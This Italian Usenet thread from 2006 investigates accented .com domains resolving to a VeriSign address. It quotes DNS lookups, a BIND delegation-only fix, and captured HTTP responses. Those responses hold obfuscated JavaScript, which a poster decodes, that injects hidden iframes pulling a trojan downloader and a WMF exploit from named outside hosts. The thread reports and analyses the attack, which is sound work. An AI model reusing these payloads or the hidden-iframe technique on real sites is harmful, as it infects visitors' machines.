Newsgroup: it.news.net-abuse
Titolo: Hijacking o cosa?

Capita solo a me?
Ho un cacheing only dns.
# host www.pereppepé.com
www.pereppep\
233.com
 has address 198.41.1.35
# host www.poroppoppppò.com
www.poroppopppp\
242.com
 	has address 198.41.1.35
# host www.qualunquecosaconletteraaccentatà.com
www.qualunquecosaconletteraaccentat\
224.com
 has address 198.41.1.35
# whois 198.41.1.35
[Querying 
whois.arin.net
]
[
whois.arin.net
]
OrgName:    VeriSign Infrastructure & Operations
OrgID:      VIO-2
Address:    21345 Ridgetop Circle
City:       Dulles
StateProv:  VA
PostalCode: 20166
Country:    US
Che cavolo succede?

pent...@despammed.com
 ha scritto:

robyt:~# dig www.pereppepé.com
; <<>> DiG 9.2.3 <<>> www.pereppepé.com
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35816
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 0
;; QUESTION SECTION:
;www.pereppep\
233.com
.          IN      A
;; ANSWER SECTION:
www.pereppep\
233.com
.   300     IN      A       198.41.1.35
che netsol in un modo o l'altro risponde
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
- Sapete perche' i generali sono cosi' imbecilli?
- Perche' li scelgono tra i colonnelli.
		-- Anonimo

 OrgName:    VeriSign Infrastructure & Operations
Welcome to heart and to Verisign "screwed" DNS :D
http://www.imperialviolet.org/dnsfix.html

> 
http://www.imperialviolet.org/dnsfix.html
per completezza; se hai un BIND v9.x ti
sarà sufficiente usare una cosa di questo
tipo nel config file
// Wildcarding fix for verisign __screwed__ DNS
// see 
http://www.imperialviolet.org/dnsfix.html
// (left out .tv and .io)
zone "ac" { type delegation-only; };
zone "bz" { type delegation-only; };
zone "cc" { type delegation-only; };
zone "com" { type delegation-only; };
zone "cn" { type delegation-only; };
zone "cx" { type delegation-only; };
zone "mp" { type delegation-only; };
zone "museum" { type delegation-only; };
zone "net" { type delegation-only; };
zone "nu" { type delegation-only; };
zone "ph" { type delegation-only; };
zone "pw" { type delegation-only; };
zone "sh" { type delegation-only; };
zone "td" { type delegation-only; };
zone "tk" { type delegation-only; };
zone "tm" { type delegation-only; };
zone "tw" { type delegation-only; };
zone "ws" { type delegation-only; };

 [...]
Azz. Ancora quella storia... Me n'ero dimenticato.
Capita comunque una cosa peggiore.
Se tento di aprire quei siti con accentate via IE (tipo 
http://www.checazzč.com/ ), il buon Kaspersky mi spara questa 
sequenza:
deleted: malware Exploit.Win32.IMG-WMF (modification) File: 
C:\Documents and Settings\bilo\Impostazioni locali\Temporary Internet 
Files\Content.IE5\1QPIESGX\test[1].wmf
detected: malware Exploit.Win32.IMG-WMF (modification) URL: 
http://www.wowkim.com/test.wmf
detected: Trojan program 
Trojan-Downloader.JS.Small.cn
 URL: 
http://www.isuckall.com/italy/index.php
Ho fatto presente la cosa a un paio di amici e anche a loro capita una 
cosa simile.
Che cazz'č?

 Che cazz'č?
Ma porca zozza...
Cerco di caricare: www.tantč.com
Il DNS risolve in 198.41.1.35.
Internet explorer chiede a 198.41.1.35 (VeriSign):
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
application/x-shockwave-flash, application/vnd.ms-excel, 
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: it
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; 
.NET CLR 1.1.4322)
Host: www.tantč.com
Connection: Keep-Alive
198.41.1.35 risponde:
HTTP/1.1 200 OK
Date: Fri, 22 Sep 2006 16:14:27 GMT
Server: Apache
Content-Location: 
index.html.it
Vary: negotiate,accept-language
TCN: choice
Last-Modified: Sun, 14 Dec 2003 03:49:23 GMT
ETag: "9021-f7-3fdbddc3;4472827e"
Accept-Ranges: bytes
Content-Length: 247
Connection: close
Content-Type: text/html
Content-Language: it
<html>
<head></head>
<frameset rows="100%,0%" border="0" marginheight=0 marginwidth=0>
    <frame src="/perl/
main.pl
" marginheight=0 marginwidth=0>
    <frame src="
http://www.wowkim.com/vrsn.html
" marginheight=0 
marginwidth=0>
</frameset>
</html>
PER QUALE CAZZO DI MOTIVO VERISIGN MI MANDA SU UN SITO KOREANO???????
Comunque sul primo frame ricevo un page not found vero.
Sul secondo becco quanto segue:
HTTP/1.1 200 OK
Date: Fri, 22 Sep 2006 16:14:26 GMT
Server: Apache/1.3.32 (Unix) PHP/4.3.9
X-Powered-By: PHP/4.3.9
Set-Cookie: bbbeencookiee=yes; expires=Fri, 29-Sep-2006 16:14:26 GMT
Keep-Alive: timeout=10, max=200
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
<html>
<head>
<title>404 NOT FOUND</title>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">
</head>
<h1>404 NOT FOUND</h1>
<script 
language=javascript>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,105,115,117,99,107,97,108,108,46,99,111,109,47,105,116,97,108,121,47,105,110,100,101,120,46,112,104,112,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,104,101,105,103,104,116,61,34,49,34,32,119,105,100,116,104,61,34,49,34,62,60,47,105,102,114,97,109,101,62,39,41))</script>
<script language=javascript>
HTTP/1.1 200 OK
Date: Fri, 22 Sep 2006 16:14:26 GMT
Server: Apache/1.3.32 (Unix) PHP/4.3.9
X-Powered-By: PHP/4.3.9
Set-Cookie: bbbeencookiee=yes; expires=Fri, 29-Sep-2006 16:14:26 GMT
Keep-Alive: timeout=10, max=200
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%6f%77%6b%69%6d%2e%63%6f%6d%2f%74%65%73%74%2e%77%6d%66%22%20%68%65%69%67%68%74%3d%30%20%77%69%64%74%68%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e%27%29'))</script>
<!-- 
ADDFREESTATS.COM
 AUTOCODE V4.0 -->
<script type="text/javascript">
[...]
La stringa javascript decifrata con String.fromCharCode() spara un 
bel:
  document.write('<iframe 
src="
http://www.isuckall.com/italy/index.php
" frameborder="0" 
height="1" width="1"></iframe>')
Kaspersky la becca come:
  Trojan program 
Trojan-Downloader.JS.Small.cn
Quella decifrata con unescape() spara un bel:
  document.write('<iframe src="
http://www.wowkim.com/test.wmf
" 
height=0 width=0></iframe>');
test.wmf viene riconosciuto come: Exploit.Win32.IMG-WMF (modification) 
...
MA VAFFANCULO, VERISIGN !!!!!!!

 [...]
A chi va segnalata questa follia ?


La data in testa alla notizia mi sconforta.
Ho fatto un po' di prove e ho visto che il frame incriminato, quello che 
manda su 
wokwim.com
, viene inviato soltanto se la richiesta HTTP è fatta 
da Internet Explorer, guardando qualcosa nelle header della richiesta, 
ma a quanto ho capito non è lo User-agent.
C'è qualcosa che non capisco evidentemente: può essere il server di 
Verisign ad avere questo comportamento? E' quell'indirizzo a rispondere...
Ciao
Davide

 rispondere...
Infatti. Dire che è inquietante è dire poco!

> Infatti. Dire che è inquietante è dire poco!
Giusto per curiosità.. che DNS state usando ?
Nel caso; provate ad impostare come DNS
i seguenti: 4.2.2.2 e 4.2.2.1; "ripulite" l'eventuale
cache DNS e riprovate la name resolution

 Giusto per curiosità.. che DNS state usando ?
Verificato con 212.216.112.112 (
ns4.tin.it
) e qualcun'altro.
Altri DNS, tra cui quelli che hai indicato tu, invece non risolvono 
proprio gli indirizzi con l'accento dentro (e credo che sia il 
comportamento legale, confermate?), ma la cosa sconcertante è che i DNS 
authoritative per com indicano esattamente quello che verificavamo 
(ancora una volta però potrebbe trattarsi di una mia ingenuità, per cui 
aspetto conferme), e che comunque il server che risponde E' un server di 
Verisign.
Per intenderci, se non c'è qualcosa che io sbaglio, quello che mi pare 
di capire è che un server web di Verisign, fatto per invitare gli utenti 
a installare un plugin di Internet Explorer che consente di utilizzare 
IDN, nel momento in cui si accede *proprio con quel browser* tenti di 
sfruttare un exploit di Windows e faccia riferimento a un sito coreano e 
uno russo che non ho idea da dove vengano fuori.
IMHO, dubito che la soluzione giusta sia quella di suggerire a una 
piccola parte di cambiare DNS, visto che mezza Italia (mezzo mondo?) usa 
ancora IE su Windows senza patch e accetta i nameserver proposti dal 
provider, che molto spesso non fanno altro che replicare il 
comportamento di Verisign senza ulteriori fix, esponendosi a grossi 
rischi nel momento in cui sbagliano a digitare sulla tastiera, o 
volontariamente cercano siti con caratteri non ASCII nel nome del dominio.
Quello che non capisco è, se quello che ho scritto sopra è vero, di 
*chi* sarebbe la responsabilità? Di Verisign (e chi è che accetterebbe 
ancora un certificato Verisign sapendo che si lasciano sfuggire qualcosa 
di tanto grosso?)?
Boh.
Ciao
Davide

 di tanto grosso?)?
Benvenuto nel mondo reale.. visto che la pillola blu funziona :) ?!?

 di VeriSign? Ho capito tutto bene?
E ti stupisci :) ? Cmq la colpa č ANCHE del DNS anzi .. di chi gestisce
quel DNS .. e qui credo NON ci sia nulla di cui stupirsi; detto questo č
interessante notare che 
http://www.imperialviolet.org/dnsfix.html
 elenca
come "Wildcard IP" per i "com" l'indirizzo 64.94.110.11 e tale indirizzo
non č quello ritornato dal "tuo DNS" (anche se si tratta in entrambi i casi
di indirizzi su blocchi di Verisign); oltretutto, giusto per curiositŕ,
potresti
provare ad aprire 
http://64.94.110.11
 .. cosě. per "sport" :D
In ogni caso.. ti suggerirei di evitare l'uso di DNS "esterni" per quanto
possibile e, nel caso tu abbia dei DNS "locali" di evitare in questo
caso l'uso di forwarders.. non credo di aver bisogno di spiegarti i
motivi di quanto sopra :)

 fare?
cambiare DNS .. appunto

 lalal\195\
161.com
.      242     IN      A       198.41.1.35
ARGH !!

http://www.pcalsicuro.com/main/?p=42

 
http://www.pcalsicuro.com/main/?p=42
Avrebbero almeno potuto citare chiaramente la fonte e il newsgroup...